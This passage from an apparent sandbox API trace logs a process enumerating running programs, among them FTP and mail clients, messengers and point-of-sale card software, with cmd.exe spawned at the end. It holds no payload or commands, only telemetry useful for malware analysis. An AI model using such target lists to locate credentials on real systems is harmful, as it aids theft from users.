pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.255] lstrlenW (lpString="spoolsv.exe") returned 11 [0081.255] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.255] lstrlenW (lpString="svchost.exe") returned 11 [0081.255] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.256] lstrlenW (lpString="taskhost.exe") returned 12 [0081.256] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0081.256] lstrlenW (lpString="taskeng.exe") returned 11 [0081.256] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0081.257] lstrlenW (lpString="communist_nick.exe") returned 18 [0081.257] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0081.257] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0081.257] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0081.257] lstrlenW (lpString="prize.exe") returned 9 [0081.258] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0081.258] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0081.258] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0081.258] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0081.258] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0081.259] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0081.259] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0081.259] lstrlenW (lpString="prospects.exe") returned 13 [0081.259] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0081.260] lstrlenW (lpString="signalpackard.exe") returned 17 [0081.260] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0081.260] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0081.260] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0081.261] lstrlenW (lpString="release.exe") returned 11 [0081.261] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0081.261] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0081.261] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0081.261] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0081.262] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0081.262] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0081.262] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0081.262] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0081.262] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0081.263] lstrlenW (lpString="stickers_nations.exe") returned 20 [0081.263] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0081.263] lstrlenW (lpString="initiated-scary.exe") returned 19 [0081.263] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0081.264] lstrlenW (lpString="3dftp.exe") returned 9 [0081.264] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0081.264] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0081.264] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0081.265] lstrlenW (lpString="alftp.exe") returned 9 [0081.265] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0081.265] lstrlenW (lpString="barca.exe") returned 9 [0081.265] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0081.266] lstrlenW (lpString="bitkinex.exe") returned 12 [0081.266] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0081.266] lstrlenW (lpString="coreftp.exe") returned 11 [0081.266] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0081.266] lstrlenW (lpString="far.exe") returned 7 [0081.267] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0081.267] lstrlenW (lpString="filezilla.exe") returned 13 [0081.267] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0081.267] lstrlenW (lpString="flashfxp.exe") returned 12 [0081.267] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0081.268] lstrlenW (lpString="fling.exe") returned 9 [0081.268] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0081.268] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0081.268] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0081.269] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0081.269] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0081.269] lstrlenW (lpString="icq.exe") returned 7 [0081.269] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0081.270] lstrlenW (lpString="leechftp.exe") returned 12 [0081.270] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0081.270] lstrlenW (lpString="ncftp.exe") returned 9 [0081.270] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0081.271] lstrlenW (lpString="notepad.exe") returned 11 [0081.271] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0081.271] lstrlenW (lpString="operamail.exe") returned 13 [0081.271] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0081.271] lstrlenW (lpString="pidgin.exe") returned 10 [0081.272] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0081.604] lstrlenW (lpString="scriptftp.exe") returned 13 [0081.616] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0081.617] lstrlenW (lpString="skype.exe") returned 9 [0081.617] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0081.618] lstrlenW (lpString="smartftp.exe") returned 12 [0081.618] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0081.618] lstrlenW (lpString="thunderbird.exe") returned 15 [0081.618] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0081.619] lstrlenW (lpString="totalcmd.exe") returned 12 [0081.619] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0081.619] lstrlenW (lpString="trillian.exe") returned 12 [0081.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0081.620] lstrlenW (lpString="webdrive.exe") returned 12 [0081.620] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0081.621] lstrlenW (lpString="whatsapp.exe") returned 12 [0081.621] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0081.621] lstrlenW (lpString="winscp.exe") returned 10 [0081.621] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0081.622] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0081.622] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0081.623] lstrlenW (lpString="active-charge.exe") returned 17 [0081.623] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0081.623] lstrlenW (lpString="accupos.exe") returned 11 [0081.623] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0081.624] lstrlenW (lpString="afr38.exe") returned 9 [0081.624] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0081.624] lstrlenW (lpString="aldelo.exe") returned 10 [0081.625] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0081.625] lstrlenW (lpString="ccv_server.exe") returned 14 [0081.625] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0081.626] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0081.626] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0081.626] lstrlenW (lpString="creditservice.exe") returned 17 [0081.626] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0081.627] lstrlenW (lpString="edcsvr.exe") returned 10 [0081.627] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0081.627] lstrlenW (lpString="fpos.exe") returned 8 [0081.628] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0081.628] lstrlenW (lpString="isspos.exe") returned 10 [0081.628] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0081.629] lstrlenW (lpString="mxslipstream.exe") returned 16 [0081.629] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0081.629] lstrlenW (lpString="omnipos.exe") returned 11 [0081.629] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0081.630] lstrlenW (lpString="spcwin.exe") returned 10 [0081.630] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0081.630] lstrlenW (lpString="spgagentservice.exe") returned 19 [0081.630] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0081.637] lstrlenW (lpString="utg2.exe") returned 8 [0081.637] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0081.638] lstrlenW (lpString="nj_sh.exe") returned 9 [0081.638] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0081.638] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0081.638] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0081.639] lstrlenW (lpString="telecommunications.exe") returned 22 [0081.639] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0081.639] lstrlenW (lpString="sound banking.exe") returned 17 [0081.639] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.640] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.640] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.640] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.641] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.641] lstrlenW (lpString="taskhost.exe") returned 12 [0081.641] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0081.642] lstrlenW (lpString="winhost.exe") returned 11 [0081.642] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0081.642] lstrlenW (lpString="cmd.exe") returned 7 [0081.642] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, 